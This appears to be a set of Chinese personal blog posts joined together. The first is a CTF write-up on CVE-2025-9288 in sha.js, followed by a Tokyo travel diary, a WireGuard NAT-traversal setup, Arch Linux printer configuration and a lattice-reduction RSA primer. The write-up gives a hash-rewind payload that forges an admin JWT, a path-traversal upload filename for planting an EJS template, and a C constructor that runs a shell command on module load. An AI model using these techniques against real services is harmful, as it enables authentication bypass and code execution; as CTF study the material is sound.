这篇算是这题的复现+一些nodejs小寄巧.

考点是CVE-2025-9288

我说跑sha256测试的时候怎么都不行,版本对不上。。。

关于CVE

原文是这样的

Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

我们可以通过这个来伪造一个可以通过verify的jwt

1
signJWT({ username: { name: "admin", length: -45 } }, { expiresIn: 3600 })

运行两次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nacl@nacl-arch ~/D/C/比/赛/N/e/src [1]> node app.js
[DEBUG] sha256 digest: e599f9ea804a7a5a25227462ad4e91f69b9c2867a70fca8df45dd931d1b94ec6
[system] username: admin
[system] password: e680b2f8d250923fd9
[system] secret: feead3a03520423f88
{ username: { name: 'admin', length: -45 } }
[DEBUG] sha256 digest: 674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6eyJuYW1lIjoiYWRtaW4iLCJsZW5ndGgiOi00NX0sImxlbmd0aCI6LTQ1LCJpYXQiOjE3NjIxODA4ODcsImV4cCI6MTc2MjE4NDQ4N30.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
nacl@nacl-arch ~/D/C/比/赛/N/e/src> node app.js
[DEBUG] sha256 digest: 2c20a04440870387f75165411e92a2939cb6e23cc8eca4f04dd7c763da7269bd
[system] username: admin
[system] password: 133d95cc4bec762beb
[system] secret: 518daec642e1cc12da
{ username: { name: 'admin', length: -45 } }
[DEBUG] sha256 digest: 674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6eyJuYW1lIjoiYWRtaW4iLCJsZW5ndGgiOi00NX0sImxlbmd0aCI6LTQ1LCJpYXQiOjE3NjIxODA4OTYsImV4cCI6MTc2MjE4NDQ5Nn0.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
nacl@nacl-arch ~/D/C/比/赛/N/e/src>
我们发现是签名一模一样的。

源码在这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# hash.js
Hash.prototype.update = function (data, enc) {
if (typeof data === 'string') {
enc = enc || 'utf8'
data = Buffer.from(data, enc)
}

var block = this._block
var blockSize = this._blockSize
var length = data.length
var accum = this._len

for (var offset = 0; offset < length;) {
var assigned = accum % blockSize
var remainder = Math.min(length - offset, blockSize - assigned)

for (var i = 0; i < remainder; i++) {
block[assigned + i] = data[offset + i]
}

accum += remainder
offset += remainder

if ((accum % blockSize) === 0) {
this._update(block)
}
}

this._len += length
return this
}

# sha256.js
Sha256.prototype._update = function (M) {
var W = this._w

var a = this._a | 0
var b = this._b | 0
var c = this._c | 0
var d = this._d | 0
var e = this._e | 0
var f = this._f | 0
var g = this._g | 0
var h = this._h | 0

for (var i = 0; i < 16; ++i) W[i] = M.readInt32BE(i * 4)
for (; i < 64; ++i) W[i] = (gamma1(W[i - 2]) + W[i - 7] + gamma0(W[i - 15]) + W[i - 16]) | 0

for (var j = 0; j < 64; ++j) {
var T1 = (h + sigma1(e) + ch(e, f, g) + K[j] + W[j]) | 0
var T2 = (sigma0(a) + maj(a, b, c)) | 0

h = g
g = f
f = e
e = (d + T1) | 0
d = c
c = b
b = a
a = (T1 + T2) | 0
}

this._a = (a + this._a) | 0
this._b = (b + this._b) | 0
this._c = (c + this._c) | 0
this._d = (d + this._d) | 0
this._e = (e + this._e) | 0
this._f = (f + this._f) | 0
this._g = (g + this._g) | 0
this._h = (h + this._h) | 0
}

Sha256.prototype._hash = function () {
var H = Buffer.allocUnsafe(32)

H.writeInt32BE(this._a, 0)
H.writeInt32BE(this._b, 4)
H.writeInt32BE(this._c, 8)
H.writeInt32BE(this._d, 12)
H.writeInt32BE(this._e, 16)
H.writeInt32BE(this._f, 20)
H.writeInt32BE(this._g, 24)
H.writeInt32BE(this._h, 28)

return H
}

hash里面规定了buffer怎么填,sha256里面写了怎么产生一个hash。

在做一个测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// test1 buffer overflow
// sha256 has 64 bytes buffer size
console.log(require("sha.js")("sha256").update("foo").digest("hex"));
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(60))
.update({ length: -60 })
.digest("hex")
);
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(61))
.update({ length: -61 })
.digest("hex")
);

// test2 buffer underflow
console.log(require("sha.js")("sha256").update("fo").digest("hex"));
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(60))
.update({ length: -61 })
.digest("hex")
);
console.log(require("sha.js")("sha256").digest("hex"));
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(60))
.update({ length: -63 })
.digest("hex")
);

nacl@nacl-arch ~/D/C/比/赛/N/e/src> node test.js
2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae
2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae
64f4272da6cacd200950fe50de4eba30be0def8833308433819af862c337e01a
9c3aee7110b787f0fb5f81633a36392bd277ea945d44c874a9a23601aefe20cf
9c3aee7110b787f0fb5f81633a36392bd277ea945d44c874a9a23601aefe20cf
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

再做一个测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const crypto = require("crypto");
for (let i = 0; i < 5; i++) {
console.log(
require("sha.js")("sha256")
.update("fo")
.update({ length: -62 })
.update(crypto.randomBytes(30).toString("hex"))
.digest("hex")
);
}
for (let i = 0; i < 5; i++) {
console.log(
require("sha.js")("sha256")
.update("fo")
.update({ length: -63 })
.update(crypto.randomBytes(32).toString("hex"))
.digest("hex")
);
}

nacl@nacl-arch ~/D/C/比/赛/N/e/src> node test.js
967bfb5426d01a2419ba18d6b7e14e8110c4fdea9f0bb1b66dd19ab7268032a7
967bfb5426d01a2419ba18d6b7e14e8110c4fdea9f0bb1b66dd19ab7268032a7
967bfb5426d01a2419ba18d6b7e14e8110c4fdea9f0bb1b66dd19ab7268032a7
967bfb5426d01a2419ba18d6b7e14e8110c4fdea9f0bb1b66dd19ab7268032a7
967bfb5426d01a2419ba18d6b7e14e8110c4fdea9f0bb1b66dd19ab7268032a7
3b7e9da2df5de9523282424656a51ce393523866f9179f93a92744353ad76cba
7a20311cf7a4b222d436424480bc65dd0f9d2cefcbbb1fa148ca0d7e1d5bb55a
20e177f50acf755a02d09e7fc28789a9b6df5c09be96a7330011f485667be724
683d098205b11550f2d71016c82c4377a96c9f808e132f83f15ba9bd058c7b20
4e9127e2cb33aeeedd7e2b174fa01c7f88785404f2787c4b822d9623feb83400

通过上述情况和源码分析我们发现当buffer overflow时,就算length设置成了负数,也会出现哈希乱飘的情况,原因是overflow时buffer会自动更新一次,计算当前buffer的hash并填到buffer中。这时因为有随机数的参与,buffer的内容是不确定的,而当未溢出时,buffer的头是相对确定的,填充时会把随机数的部分填充掉,导致hash算出来是一样的。

关于nodejs的一些寄巧

jwt解决后我们可以传文件了,这个绕过在之前羊城杯也有出现。

设置filename为../views/exp.ejs/.,filedate为一个恶意ejs模板即可绕过。这里检测会去文件拓展名进行判断,之后拼接到路径里。

官方的wp也蛮有意思的,大概思路是创建一个恶意模块放到node_module里然后用express的templ来实现调用恶意模块。

先来细讲下express:

当带有?templ=xxx.xxx时会把这个参数传入到view函数,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
function View(name, options) {
var opts = options || {};

this.defaultEngine = opts.defaultEngine;
this.ext = extname(name);
this.name = name;
this.root = opts.root;

if (!this.ext && !this.defaultEngine) {
throw new Error('No default engine was specified and no extension was provided.');
}

var fileName = name;

if (!this.ext) {
// get extension from default engine name
this.ext = this.defaultEngine[0] !== '.'
? '.' + this.defaultEngine
: this.defaultEngine;

fileName += this.ext;
}

if (!opts.engines[this.ext]) {
// load engine
var mod = this.ext.slice(1)
debug('require "%s"', mod)

// default engine export
var fn = require(mod).__express

if (typeof fn !== 'function') {
throw new Error('Module "' + mod + '" does not provide a view engine.')
}

opts.engines[this.ext] = fn
}

// store loaded engine
this.engine = opts.engines[this.ext];

// lookup path
this.path = this.lookup(fileName);
}

他会寻找后缀名并加载模块,访问他的.__express属性,在ejs中,exports.__express = exports.renderFile;。这好像是用来确认模块是否为渲染模板的东西。

在官方wp中没有实现这个功能,是直接写了个constructor函数

1
2
3
4
5
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void abc(){
system("cp /flag > /app/uploads/flag.txt");
}

这样在加载时就直接把flag复制到uploads目录下。

day5

这天说实话出来比较迟,朋友在房间里忙的比较迟才出来。吃晚饭就来逛秋叶原了。

哎柚子➗

店内有张r18的,我还是不放了。

这天主要逛的是二手的玩意,去了传说中的大黑屋。去的时候刚开了第二栋。里面好东西确实多,朋友搞了张Snow Miku 2015的专辑。

之后去了骏河屋啥的二手店,两个人在一楼的电子废料里面翻了半天。全都是加密路由器。

md这谁顶得住啊.jpg 捡垃圾真好玩.jpg

上面比较一般基本是二次元相关。

之后就是在秋叶原逛街看东西。

31号正好是秋叶原gigo一号店闭店前的最后一天,走的时候一号店前面聚集了很多人。一开始在站前广场不明白为什么这么多人在喊阿里嘎多,在小红书上搜了才发现,也算是个见证者了。

我还在这打过乌蒙呢.jpg

day6

这天跑的地方有点多,中午吃完麦当劳后坐公交车到浅草寺。

逛了下边上的商场后去晴空塔那。

然后迅速转战银座。吃了顿人均300+的寿喜烧,吓哭了。

day7

回去前一天,有点没活,先是在日暮里周围逛了下,又去了秋叶原看了下,再去池袋打街机去。 这里居然还有Project Diva的街机! 在日服上了w0,当时国内大版本更新没怎么打还没到w0。。。

day8——回家

睡醒退房就往成田机场去。登记还推迟了一个多小时。。。

可能是为了补偿啥的,这顿飞机餐比来的时候好了很多,还有哈根达斯😋

后记

说实话我是一个不太喜欢旅游的人,在不熟悉的环境待超过三天就会emo(

第一天来到日本的时候没什么感觉,没有任何的激动,害怕等等;只是感觉有点平常。

我找不出别的词来形容当时的感受,但现在想想也蛮好的。

日本是个蛮舒服的地方,下次还来。

其实已经一个月了才开始写,我真能咕!

说实话这趟去霓虹是为了看Magical Mirai,只看了一场有点不尽兴,但今年也有点难评。

纯纯的流水账,多多担待喵。

day1

前一天晚上入住浦东附近的旅馆,8:10的飞机从浦东起飞,结果狠狠延误,离场排大队,差不多迟了一个小时才起飞。

到达成田机场大概是当地下午2点左右。

入境不能拍照片,我也是全程被doddy带着入了境,不是很懂.jpg

然后就是办suica,成田机场的自主办卡机只支持办理Welcome Suica(15天可用期,过期直接报废好像)。如果你需要办理普通Suica,你需要在地下2层的JR Eeat人工窗口办理,会收500日元的押金,有效期10年(应该是这个意思)。

酒店在日暮里,办理入住后直奔涩谷,主要是想买Magical Mirai 2025的法批,但去的时候已经卖完了,而且过了免税的时间点,有点抽象。。。

那没办法只能出勤了😋

day 2

第二天直到中午才出门,下午去秋叶原电器街,晚上去池袋。

然后就去了著名的池袋西口北(顺便勤了两把),只能说跟回家了一样。

day 3

ok,终于来做主线任务了😋

大早上从酒店出来,先从日暮里站坐车到东京站,然后在转京叶线去海滨幕张。强烈建议每个人来东京坐一下京叶线,从东京站出来到陆上那一段非常的震撼,可惜我这没有拍照片。可以想象一下,原本行驶在地下的列车突然转到陆上,并且沿海行驶,非常的震撼。

到场地之后就是排dbd,买场贩,入场(这企划展人是真的多。。。)

牢中来的人真多哇

看完live吃了中饭就溜了,太热了。

下午回酒店,晚上去了著名景点飞鸟山公园😋

感觉膝盖重重的,快要跪下了

day 4

依旧是跳过早饭直接吃中饭,今天吃的寿司郎。

五蚂蚁!

这天下午准备去Sunshine City和水族馆逛逛。

这里面有家万代的店,里面眼睛厂的娃娃机肥肠的良心,夹子力气大而且末端带橡胶,比gigo不知道好到哪里去了😋

Sunshine水族馆不建议来,有点小没啥玩意。

而且来的时候没有企鹅创口贴,差评。

two fish~

晚上去的新宿歌舞伎町和大久保公园,这里就不放出来了。我也没拍照,怕被打。

本文参考:https://www.jordanwhited.com/posts/wireguard-endpoint-discovery-nat-traversal/

其实想写这个很久了,但由于某些原因(咕咕咕),一直拖到最近才拿出个合理的方案。

0. 起因

由于一些原因,在去年学校进行了改造,改造后的结果就是原本的公网ipv4全部木大,取而代之的是一个代播系统;而ipv6更是重量级,时有时无。而我要做的是让家里和学校建立一个wireguard隧道。

1. ipv6?

我一开始是尝试用ipv6来建立一个隧道,但由于上面提到的学校时有时无的ipv6连接,一般第二天起来就没有ipv6了,要重启op才能重新获得访问ipv6的能力。同时学校这烂网。。。还是果断放弃了。

2. NATMAP

说实话这个比较吃运营商。家里的网络是NAT1,所以能这么玩。

我们需要现在op里安装luci-app-natmap,然后这样设置

如果在wireguard监听的端口上起natmap会出现端口挤占的问题,所以我们需要一个转发。

但这个方案还是有问题,一个是这样建立的隧道在bird内可能会有个端口不一致报错(可以不用鸟),还有一个是必须由学校这边主动发起连接(稳定性不是很高)。

3. 自写打洞

这个应该是最适合目前的方案,具体原理参考jwhited的这篇博客,这边简单概述一下:首先,Wireguard设置了Listen Port之后就会通过这个端口收发消息;其次,Wireguard能设置多个Peer。将这两个特性结合,我们就能得到一个类似stun的功能,同时通过Keepalive选项能够自动维持端口。

这个方法有点妙,是躺在床上睡不着的时候想清楚的。这个老哥也是个天才。

项目在这里wg-drill,后续应该会集成到wg-quick-op里面。

只需要在Wireguard加一个Peer和两条指令就可以实现兼容现有dn11内的网络。

具体配置

Client端

安装wg-drill-client

1
./wg-drill-client install
并用systemd或proc启动wg-drill-client服务。

在Wireguard配置里添加wg-drill-client的PostUp、PreDown和服务器的Peer。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[Interface]
PrivateKey = <Private Key>
ListenPort = 10011
PostUp = /sbin/ip addr add dev %i 172.16.48.254 peer 172.16.53.254
PostUp = wg-drill-client up %i
PreDown = wg-drill-client down %i
Table = off
MTU = 1388


#home
[Peer]
PublicKey = <Target Pubkey>
AllowedIPs = 0.0.0.0/0

#stun
[Peer]
Endpoint = naclwww.com:114514
PublicKey = <Server Pubkey>
PersistentKeepalive = 3

Server端

同理,我们先安装wg-drill-server

1
./wg-drill-server install
在配置文件中添加stun的接口
1
2
3
4
5
6
7
8
[server]
listenaddr = "0.0.0.0"
listenport = 14514 //server部分不用在意,之后会移除

[drill]
enable = true
iface = "stun"
interval = 10
stun接口配置如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# /etc/wireguard/stun.conf
[Interface]
PrivateKey = <Server Private key>
ListenPort = 39001
Table = off
MTU = 1388

#Target A
[Peer]
PublicKey = <Target A Pubkey>

#Target B
[Peer]
PublicKey = <Target B Pubkey>

随后在server端用systemd或者proc启动wg-drill-server服务。

4. 关于其他

后面可能会尝试一下SyncThing🤔,以后再说吧。

细节可以去看看我写的💩和这位老哥的博客。

Arch Linux Printer

太久没发博客了,最近家里需要个打印机,发个打印机的配置教程水一水,顺便记录下家里打印机的解决方案。

虽然叫Arch Linux Printer,但并非全是Arch Linux相关。如果有什么不对的地方,请大火嘴下留情qaq

Printer Driver Install

大部分厂商只提供x86的驱动。我们讲述如何在x86上安装驱动。至于arm等设备可以参考brother-in-arms这个项目来

Install CUPS

首先我们需要安装CUPS服务,参考Arch Linux CUPS。 同时安装ghostscript

1
sudo pacman -S ghostscript

Install Provided Driver

一般来说,厂商提供的驱动只有.deb.rpm两种,我们需要自己提取并放到对应目录来实现手动安装(如果你觉得这不优雅,可以自己封个包然后用pacman本地安装)。

例如Brother 2240所提供的驱动,解压.deb包后有如下

1
2
3
4
5
6
7
8
9
10
┬─[nacl@nacl-archlinux:~/D/hl2240lpr-2.1.0-1.i386]─[16时39分24秒]
╰─>$ tree
.
├── control.tar.gz
├── data.tar.gz
└── debian-binary

1 directory, 3 files
┬─[nacl@nacl-archlinux:~/D/hl2240lpr-2.1.0-1.i386]─[16时39分27秒]
╰─>$

解压data.tar.gz后有如下一坨

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
┬─[nacl@nacl-archlinux:~/D/hl2240lpr-2.1.0-1.i386]─[16时43分18秒]
╰─>$ tar -xzvf data.tar.gz
./
./var/
./var/spool/
./var/spool/lpd/
./var/spool/lpd/HL2240/
./usr/
./usr/local/
./usr/local/Brother/
./usr/local/Brother/Printer/
./usr/local/Brother/Printer/HL2240/
./usr/local/Brother/Printer/HL2240/inf/
./usr/local/Brother/Printer/HL2240/inf/setupPrintcap2
./usr/local/Brother/Printer/HL2240/inf/braddprinter
./usr/local/Brother/Printer/HL2240/inf/brprintconflsr3
./usr/local/Brother/Printer/HL2240/inf/brHL2240func
./usr/local/Brother/Printer/HL2240/inf/paperinf
./usr/local/Brother/Printer/HL2240/inf/brHL2240rc
./usr/local/Brother/Printer/HL2240/lpd/
./usr/local/Brother/Printer/HL2240/lpd/filterHL2240
./usr/local/Brother/Printer/HL2240/lpd/rawtobr3
./usr/local/Brother/Printer/HL2240/lpd/psconvert2
./usr/share/
./usr/share/doc/
┬─[nacl@nacl-archlinux:~/D/hl2240lpr-2.1.0-1.i386]─[16时43分46秒]
╰─>$ tree
.
├── control.tar.gz
├── data.tar.gz
├── debian-binary
├── usr
│   ├── local
│   │   └── Brother
│   │   └── Printer
│   │   └── HL2240
│   │   ├── inf
│   │   │   ├── braddprinter
│   │   │   ├── brHL2240func
│   │   │   ├── brHL2240rc
│   │   │   ├── brprintconflsr3
│   │   │   ├── paperinf
│   │   │   └── setupPrintcap2
│   │   └── lpd
│   │   ├── filterHL2240
│   │   ├── psconvert2
│   │   └── rawtobr3
│   └── share
│   └── doc
└── var
└── spool
└── lpd
└── HL2240

14 directories, 12 files
┬─[nacl@nacl-archlinux:~/D/hl2240lpr-2.1.0-1.i386]─[16时44分10秒]
╰─>$
由于解压出来的var是一坨空的,所以我们直接略过,把usr解压出来的一堆放到本地对应目录下,应该就没问题了(

Use Driver in CUPS

驱动有了,怎么用呢?

我们算是成功安装了驱动,如何调用驱动就需要用到CUPS服务。当你连接打印机并配置服务时,会有一些默认的选项提供,但如果没有你要的驱动,CUPS服务也不知道怎么调用打印机驱动,这时我们就需要手动提供ppd文件。部分驱动会在内提供ppd文件,但如果没有提供,你可以尝试去Open Printing官网寻找(如果ppd和驱动对应不上,建议安装Open Printing提供的驱动,有Linux驱动一般都有ppd吧。。。应该)

以CUPS的web网页为例,Linux大部分客户端调用的是CUPS,所以具体过程大同小异。

访问本地CUPS,在Administer页面选择Add Printer,如果本地有可用打印机会在界面上显示,选择即可

(如果需要共享打印机则需要勾选Share This Printer

之后在该界面选择ppd文件即可正常添加打印机

之后你便可以尝试打印

Enhance

p910nd远程打印

细心的你应该发现了,上面Add Printer界面所添加的打印机并非是本地打印机。要达成这个非常简单,你可以使用别的机器通过CUPS服务共享打印机;但我这边是通过wr720n刷openwrt实现远程调用打印机。重复的就不多说了,参考内容如下:

TP-Link WR720N V3 刷OpenWRT(记得看清楚路由器版本,砖了就不好玩了)

老旧设备利用打印机服务实现网络打印,并实现打印机热插拔(这个热插拔实现有点不优雅,详细看下面的)

通过OpenWRT的p910nd实现远程打印,但这有个缺点:无法手动安装驱动(或者说靠client来处理驱动文帝),相当于usbip将原始usb信息传输到服务器(这个比喻可能不太准确,但这个服务传输的就是原始信息)。

讲一下碰到的问题

1. OpenWRT源失效

lede17 后OpenWRT官方好像做过一次迁移,package的目录变了,找到对应目录换源即可

2. usb热插拔后失效

usb热插拔后p910nd会出现无法识别设备的问题,我们要做的就是写一个脚本,当监测到添加usb设备且usb设备就是我们的打印机时重启p910nd服务

/etc/hotplug.d/usb/目录下添加一个脚本20-p910nd并添加可执行权限

脚本内容具体如下:

1
2
3
4
5
6
7
#!/bin/sh
if [ "$ACTION" = "add" ] && [ "$PRODUCT" = "4f9/45/100" ]; then
# 这行可以修改为你自己的打印机名称,也可以删除,不影响使用。用于检测脚本是否生效
echo "`date`: Brother HL2240 added" >> /tmp/printer
# 执行重启服务
/etc/rc.d/S50p910nd restart
fi
其中的PRODUCT变量可以通过dmseg来查看
1
2
3
4
5
6
7
8
9
10
11
root@LEDE:~# dmesg | grep usb
[ 4.795404] usbcore: registered new interface driver usbfs
[ 4.799554] usbcore: registered new interface driver hub
[ 4.804994] usbcore: registered new device driver usb
[ 5.505721] usb 1-1: new high-speed USB device number 2 using ehci-platform
[ 11.334193] usblp 1-1:1.0: usblp0: USB Bidirectional printer dev 2 if 0 alt 0 proto 2 vid 0x04F9 pid 0x0045
[ 11.342768] usbcore: registered new interface driver usblp
[ 83.696068] usb 1-1: USB disconnect, device number 2
[ 83.700043] usblp0: removed
[ 86.382708] usb 1-1: new high-speed USB device number 3 using ehci-platform
[ 86.546432] usblp 1-1:1.0: usblp0: USB Bidirectional printer dev 3 if 0 alt 0 proto 2 vid 0x04F9 pid 0x0045
找到我们想要的设备id,修改为vid/pid/100就好了(应该)

如果没问题的话你重启时会在/tmp/printer文件内看到内容

具体原理就是利用OpenWRT hotplug来监测usb,当符合条件时重启p910nd

AirPrint自动发现打印机

但这个打印机买来是给我家里父母用的

先来简单介绍下家里的网络配置。由于接入了dn11,家里的网络拓扑大概是这么个样子:

通过wireguard连接了一个阿里云的服务器。同时家里没有配备任何的x86服务器,手机的打印机同时缺少驱动(其实应该能找到,但是没有合适的应用),便将CUPS服务安装在阿里云上,通过阿里云调用p910nd提供的服务来实现远程连接打印机,通过CUPS来实现。

CUPS的安装和打印机的连接非常简单,和上面差不多。唯一的问题就是访问权限,这个到/etc/cups/cupsd.conf里修改一下就好了。

如果没问题的话,你现在应该能用pc通过ipp协议实现打印了;但安卓手机还是不能发现,需要我们配置avahi了。我的avahi是布置在OpenWRT上(毕竟总不能配置在云服务器上吧,多少有点神车),下面是代码

1
2
3
4
opkg update
opkg install avahi-daemon
/etc/init.d/avahi-daemon enable
/etc/init.d/avahi-daemon start

按道理来说你现在应该能在局域网内自动发现打印机了,但我的配置多少有点神车,还需要在OpenWRT上手动添加配置文件

/etc/avahi/services下新添加一个文件printer.service并添加可执行权限,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" standalone='no'?><!--*-nxml-*-->
<!DOCTYPE service-group SYSTEM "avahi-service.dtd">
<service-group>
<name>Remote CUPS Printer</name>
<service>
<type>_ipp._tcp</type>
<port>631</port>
<txt-record>txtvers=1</txt-record>
<txt-record>qtotal=1</txt-record>
<txt-record>rp=printers/Home_Printer</txt-record>
<txt-record>product=(Remote-CUPS-via-OpenWrt)</txt-record>
<txt-record>adminurl=http://172.16.53.253:631/printers/Home_Printer</txt-record>
<txt-record>note=Proxied CUPS Printer</txt-record>
</service>
</service-group>

其中adminurl项是CUPS共享打印机的url,而rp项是打印机的路径,实际上就是adminurl/printers/<打印机名称>。如果少了这项,在部分软件内会表现出能扫描到打印机但添加时会提示ipp 1030无法找到打印机。

现在,你应该能在安卓的打印服务内找到打印机了!

如果安卓设备还是没法找到打印机,可以用tcpdump监听下udp的5353端口,在监听的情况下重启avahi-daemon,或者demsg | grep avahi来查看avahi配置文件是否生效。tcpdump如果能看到以下内容说明没有问题。

1
21:20:07.235221 lan3  Out IP CR6606.lan.5353 > mdns.mcast.net.5353: 0*- [0q] 6/0/0 PTR Remote CUPS Printer._ipp._tcp.local., (Cache flush) TXT "txtvers=1" "qtotal=1" "rp=printers/Home_Printer" "product=(Remote-CUPS-via-OpenWrt)" "adminurl=http://172.16.53.253:631/printers/Home_Printer" "note=Proxied CUPS Printer", (Cache flush) SRV CR6606.local.:631 0 0, (Cache flush) AAAA fdf4:ed14:48ed::1, (Cache flush) AAAA <不给你看的公网ipv6地址>, (Cache flush) A 172.16.53.1 (332)

后续

这玩意果然炸了🤡

这里简单介绍下格规约攻击的原理,写的有些非专业且比较意会,只保留了大致思路以及运作原理,如有出入,就是我太菜了QAQ

简单介绍一下,格规约攻击不是对格密码的攻击,而是借助格对相对“传统”密码的攻击(也不一定是密码体系)

什么是格

我们这里提到的格是这样一个东西:

给定n维空间中一组 线性无关 向量,其 整系数 组合构成的集合称为格

例如有这么一个方程 \[ x*M=b\ \] 其中 \[ \mathbf{x} = \begin{bmatrix}x_1,x_2,x_3,\dots,x_n \end{bmatrix}\\ \mathbf{b} = \begin{bmatrix}b_1,b_2,b_3,\dots,b_n\end{bmatrix}\\ M = \begin{bmatrix}\mathbf{a_1}\\ \mathbf{a_2}\\ \mathbf{a_3}\\ \dots\\ \mathbf{a_n} \end{bmatrix} \] 其中的向量\(x\)中的任意元素\(x_i\in N\)所产生的所有向量\(\mathbf{b}\)的集合,我们把这叫做以为\(M\)基的格\(L(M)\)

格规约原理(应该)

应用前提(部分)

如果我们可以列出这个一个方程 \[ \mathbf{x}*M=\mathbf{b}\ \] 且满足以下条件(当然不只这么一点,但这几个是最重要的)

  1. \(\mathbf{x}\)中的任意元素是整数
  2. 矩阵M已知

这种情况下,我们可以尝试用格规约攻击得到目标向量\(\mathbf{b}\)

怎么求\(\mathbf{b}\)

1.存在性证明:这是一个线性方程组,我们也可以把他看成一个坐标转移,把\(M\)看成过渡矩阵,但这里我们的\(\mathbf{x}\)是一个整数向量。\(\mathbf{b}\)是未知的,我们唯一知道的是\(x\)是一个整数向量,对于矩阵\(M\)是已知的。根据上文可知,我们把等式看成坐标转移,也就是说\(\mathbf{b}\)是在空间\(M\)中的,更确切一点的说是\(\mathbf{b}\)在以基为\(M\)的格\(L(M)\)中,其中的基向量是\(M\)中的行向量,我们可以通过用\(M\)中的基向量进行线性组合(其中的系数都为整数,因为格要求是整数的线性组合)后得到\(b\)

那么问题来了,怎么找到\(\mathbf{b}\)

2.寻找目标向量

这里提到几个比较重要

SVP问题

一个格中最常见的问题,就是最短向量问题(SVP,Shortest Vector Problem)。问题的定义是这样的:给定一个基为\(B\)的格 \(L(B)\),找到一个这个格中的一个向量,使得这个向量长度最短。

当格的维数较低是,可以用LLL算法和BKZ算法求出最短向量。

到这,我们已经快要完全掌握了。如果我们要求的向量\(b\)是格中的最短向量,是不是就可以通过LLL或者BKZ求出向量\(b\),那么怎么确保\(b\)是最短向量?

高斯期望(高斯启发式)

高斯期望(高斯启发式)可以求出最短向量问题,具体证明可以自行查找,结论如下:

假设L是n维格,高斯所期望的最短的长度是 \[ \sigma(L) = \sqrt{\frac{n}{2\pi e}}(Det(L))^{\frac{1}{n}} \] 如果我们能够让格的期望最短长度大于或者远大于我们的目标向量,我们就可以用算法得到最短向量即我们的目标向量\(\mathbf{b}\)

我们来总结下应用前提:

1.存在方程\(\mathbf{x}*M=\mathbf{b}\),且向量\(\mathbf{x}\)中的元素为整数,矩阵\(M\)已知。

2.矩阵\(M\)的维度较小(一般在几十维到几百维)。

3.矩阵\(M\)的高斯期望大于目标向量\(\mathbf{b}\),即\(\sigma(M) \gtrsim |\mathbf{b}|\)

配平技巧及攻击示例

以下展示了一个格规约攻击的示例,包含了构造、配平。如有出入,就是我太菜了QAQ。

拿我最近打的比赛举例:

nctf-绮云

我们可以得到多组相同私钥的rsa。n,e是2048位,d是928位且是复用的,题目就不详细说了,我们这里只举例

对于一组RSA,有 \[ e*d = 1 + k*\phi(n)=1-k*(p-1)*(q-1)=1-k*(N-(p+q)+1)=1-k*N+k*(p+q-1)=-k*N+(k*c+1) = -k*N +c \]

化简成 \[ k_i*N_i+e*d = C_i \] (反正k是整数就对了,不用在意正负)

其中,C的位数大概是 \[ \log_2{k}+\log_2(p+q)=\log_2(o+q)+log_2(d) \approx 1952 \] 我们可以反复退出进入得到多组N,e

然后得到这样一个格,其中系数\(K\)是我们自己决定的 \[ \begin{bmatrix} k_{1} & k_{2} & \cdots & k_{n} & d\end{bmatrix} \cdot \begin{bmatrix} N_{1} \\&N_{2} \\ && \ddots \\ &&& N_{n} \\ e_{1} & e_{2} & \cdots & e_{n} & K \end{bmatrix} = \begin{bmatrix} C_{1} & C_{2} & \cdots & C_{n} & Kd \end{bmatrix} \]

思考,我们要让格的期望最短向量尽可能大,同时让目标向量尽可能小,就需要取一个合理的\(K\)

我们发现,当\(logKd\lesssim logC_i\)时,\(Kd\)项对目标向量长度的大小影响极小,但能够显著增加格的高斯期望。

但当\(logKd \gg logC_i\)时,\(Kd\)项对目标向量长度的大小起主导作用,即\(|\mathbf{b}| \approx K*d\),此时增加\(K\),目标向量长度增长速度就会快于高斯期望增长的速度。

所以当\(Kd \approx C_i\)时是最合适的

再拓展一下就是

目标向量中的每一项大小接近是最合适的(偷懒不证明,嘻嘻)

在这题中,我们让最后一项与前项接近,右边目标向量的长度大概是1952位,格的期望长度是\(\frac{n*2048+1024}{n+1}\)

